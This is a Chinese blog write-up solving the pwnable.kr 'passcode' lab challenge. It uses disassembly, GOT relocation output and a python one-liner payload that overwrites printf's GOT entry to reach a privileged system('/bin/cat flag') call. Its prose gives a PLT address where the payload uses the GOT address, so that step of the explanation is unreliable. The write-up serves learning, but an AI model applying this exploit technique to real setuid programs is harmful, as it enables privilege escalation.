pwnable.kr passcode
题目来自pwnable.kr
里面的思路是通过学习别人的文章获得的,作为个人的学习记录一下
题目是这样的
passcode
SSH连接一下
看看有什么文件
可以看到有三个文件,其中 flag 只对创建者 passcode_pwn 和 root 可读,而我们登录的用户是 passcode(从连接时的用户名或使用 whoami 命令可以得知),因此是没有权限读这个文件的。passcode 对有所有用户都开放读和执行权限,而且留意到权限里面有 s,因此普通用户在执行这个文件时会被赋予 root 权限。最后一个文件是 passcode 的源代码,这是分析程序执行逻辑的关键。
所以可以先运行一下passcode
随便输入下,可以看出来是不对的,我们先来阅读一下源码 也可以用IDA看,但是有源码了就直接看源码
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
有点长 我直接贴上来
通过源码我们知道 main 函数先后调用了 welcome 和 login 这两个函数,其中在 welcome 函数中输入用户名,在 login 中输入两个密码。
仔细观察可以发现,在 login 函数调用 scanf 的时候,对参数没有取址的操作,而且passcode1和passcode2是没有被初始化的,所以我们输入的数据写入了一个未知的地方
到这里我们可以想如果我们能控制passcode1和passcode2的值就可以任意读写(这样说可能有点不准确,因为程序如果可能开了别的保护,但是在漏洞利用中实现任意读写是非常重要的一步)
既然猫腻在这里,那我们就可以调试一下,看如何控制passcode1和passcode2
可以使用命令 objdump -d passcode
直接看汇编也可以gdb -q passcode
下断来调试
08048665 <main>:
8048665: 55 push %ebp
8048666: 89 e5 mov %esp,%ebp
8048668: 83 e4 f0 and $0xfffffff0,%esp
804866b: 83 ec 10 sub $0x10,%esp
804866e: c7 04 24 f0 87 04 08 movl $0x80487f0,(%esp)
8048675: e8 d6 fd ff ff call 8048450 <aaa@qq.com>
804867a: e8 8a ff ff ff call 8048609 <welcome>
804867f: e8 e0 fe ff ff call 8048564 <login>
8048684: c7 04 24 18 88 04 08 movl $0x8048818,(%esp)
804868b: e8 c0 fd ff ff call 8048450 <aaa@qq.com>
8048690: b8 00 00 00 00 mov $0x0,%eax
8048695: c9 leave
8048696: c3 ret
8048697: 90 nop
8048698: 90 nop
8048699: 90 nop
804869a: 90 nop
804869b: 90 nop
804869c: 90 nop
804869d: 90 nop
804869e: 90 nop
804869f: 90 nop
08048609 <welcome>:
8048609: 55 push %ebp
804860a: 89 e5 mov %esp,%ebp
804860c: 81 ec 88 00 00 00 sub $0x88,%esp
8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048618: 89 45 f4 mov %eax,-0xc(%ebp)
804861b: 31 c0 xor %eax,%eax
804861d: b8 cb 87 04 08 mov $0x80487cb,%eax
8048622: 89 04 24 mov %eax,(%esp)
8048625: e8 f6 fd ff ff call 8048420 <aaa@qq.com>
804862a: b8 dd 87 04 08 mov $0x80487dd,%eax
804862f: 8d 55 90 lea -0x70(%ebp),%edx
8048632: 89 54 24 04 mov %edx,0x4(%esp)
8048636: 89 04 24 mov %eax,(%esp)
8048639: e8 62 fe ff ff call 80484a0 <aaa@qq.com>
804863e: b8 e3 87 04 08 mov $0x80487e3,%eax
8048643: 8d 55 90 lea -0x70(%ebp),%edx
8048646: 89 54 24 04 mov %edx,0x4(%esp)
804864a: 89 04 24 mov %eax,(%esp)
804864d: e8 ce fd ff ff call 8048420 <aaa@qq.com>
8048652: 8b 45 f4 mov -0xc(%ebp),%eax
8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
804865c: 74 05 je 8048663 <welcome+0x5a>
804865e: e8 dd fd ff ff call 8048440 <aaa@qq.com>
8048663: c9 leave
8048664: c3 ret
08048564 <login>:
8048564: 55 push %ebp
8048565: 89 e5 mov %esp,%ebp
8048567: 83 ec 28 sub $0x28,%esp
804856a: b8 70 87 04 08 mov $0x8048770,%eax
804856f: 89 04 24 mov %eax,(%esp)
8048572: e8 a9 fe ff ff call 8048420 <aaa@qq.com>
8048577: b8 83 87 04 08 mov $0x8048783,%eax
804857c: 8b 55 f0 mov -0x10(%ebp),%edx
804857f: 89 54 24 04 mov %edx,0x4(%esp)
8048583: 89 04 24 mov %eax,(%esp)
8048586: e8 15 ff ff ff call 80484a0 <aaa@qq.com>
804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
8048590: 89 04 24 mov %eax,(%esp)
8048593: e8 98 fe ff ff call 8048430 <aaa@qq.com>
8048598: b8 86 87 04 08 mov $0x8048786,%eax
804859d: 89 04 24 mov %eax,(%esp)
80485a0: e8 7b fe ff ff call 8048420 <aaa@qq.com>
80485a5: b8 83 87 04 08 mov $0x8048783,%eax
80485aa: 8b 55 f4 mov -0xc(%ebp),%edx
80485ad: 89 54 24 04 mov %edx,0x4(%esp)
80485b1: 89 04 24 mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0 <aaa@qq.com>
80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call 8048450 <aaa@qq.com>
80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp)
80485cc: 75 23 jne 80485f1 <login+0x8d>
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <aaa@qq.com>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <aaa@qq.com>
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)
80485f8: e8 53 fe ff ff call 8048450 <aaa@qq.com>
80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048604: e8 77 fe ff ff call 8048480 <aaa@qq.com>
直接看这三个函数
对照着源代码,可以知道 name 的地址是 -0x70(%ebp),即 %ebp - 0x70,再看 login 函数,同样对照源代码,知道 passcode1 的地址是 -0x10(%ebp),即 %ebp - 0x10,passcode2 的地址是 -0xc(%ebp),即 %ebp - 0xc。注意这两个函数的 %ebp 是不一样的,但是由于这两个函数是由 main 函数同步调用的而且它们的参数个数一样多(都是 0 个),所以在数值上两个函数的 %ebp 是相等的。
而通过计算可以知道,name 的地址比 passcode1 的地址低 96 个字节(0x70 - 0x10 = 96),name 的地址比 password2 的地址低 100 个字节(0x70 - 0xc = 100),而我们可以控制的 name 刚好能够到 100 个字节(看源码),也就是说,我们刚好能够控制 passcode1 的值而刚好不能控制 password2 的值(因为程序开启了栈溢出保护,所以我们不能再继续增加name的输入来改变passcode2的值,如果能改,直接改为两个特定数就可以了,但这里不行)。
既然我们能够控制passcode1 的值,那么我们就可以scanf 的时候对一个地址进行写入,那么怎么利用这点呢,通过看大牛的思路,我知道了这里要使用一种叫GOT表覆写技术来实现我们的利用什么是GOT表可以看这里,涉及到了ELF文件技术问题我们在这里就不展开了(https://blog.csdn.net/qq_18661257/article/details/54694748
https://www.jianshu.com/p/0ac63c3744dd)
知识点:GOT表是刚好是可写的
objdump -R passcode
看一下GOT表
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY aaa@qq.com@GLIBC_2.0
0804a000 R_386_JUMP_SLOT aaa@qq.com_2.0
0804a004 R_386_JUMP_SLOT aaa@qq.com_2.0
0804a008 R_386_JUMP_SLOT aaa@qq.com_2.4
0804a00c R_386_JUMP_SLOT aaa@qq.com_2.0
0804a010 R_386_JUMP_SLOT aaa@qq.com_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT aaa@qq.com_2.0
0804a01c R_386_JUMP_SLOT aaa@qq.com_2.0
0804a020 R_386_JUMP_SLOT aaa@qq.com_2.7
而我们通过汇编可以看到scanf 后会再执行下面的函数
804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
8048590: 89 04 24 mov %eax,(%esp)
8048593: e8 98 fe ff ff call 8048430 <aaa@qq.com>
8048598: b8 86 87 04 08 mov $0x8048786,%eax
804859d: 89 04 24 mov %eax,(%esp)
80485a0: e8 7b fe ff ff call 8048420 <aaa@qq.com>
80485a5: b8 83 87 04 08 mov $0x8048783,%eax
80485aa: 8b 55 f4 mov -0xc(%ebp),%edx
80485ad: 89 54 24 04 mov %edx,0x4(%esp)
80485b1: 89 04 24 mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0 <aaa@qq.com>
80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call 8048450 <aaa@qq.com>
所以你修改他们的任意一个也是可以的,把他们GOT表的地址改掉,然后他们再调用的就是我修改好的任意地址,但是这里我们要输出的是 flag 的内容,看到 login 函数中调用了 system 函数来输出 flag 的内容,普通用户在运行这个程序的时候会被暂时赋予 root 权限,所以直接调用这个 system 函数是可以输出 flag 中的内容的。因此,我们可以把 name 的最后四个字节写成 plt 中 printf 函数的地址(我选的是printf),即 0x08048420 ,然后再输入 passcode1 时输入调用 system 函数的地址,即 0x080485e3 (注意函数调用前还有给参数赋值等初始化操作,因此这个地址在 call system 语句的前面一点点),这样实际上相当于在执行printf("enter passcode2 : ");
语句时执行的是 if 中的system("/bin/cat flag");
语句了。
用 python 生成 payload 并作为程序的输入
python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
这里注意字节转换,因为scanf是要求%d输入
参考文章:
https://www.jianshu.com/p/886a7b8c2ad5 作者:半人前
https://www.cnblogs.com/binlmmhc/p/6189514.html 作者:Bin_LmmH_C
感谢
上一篇: python的多线程原来可以这样解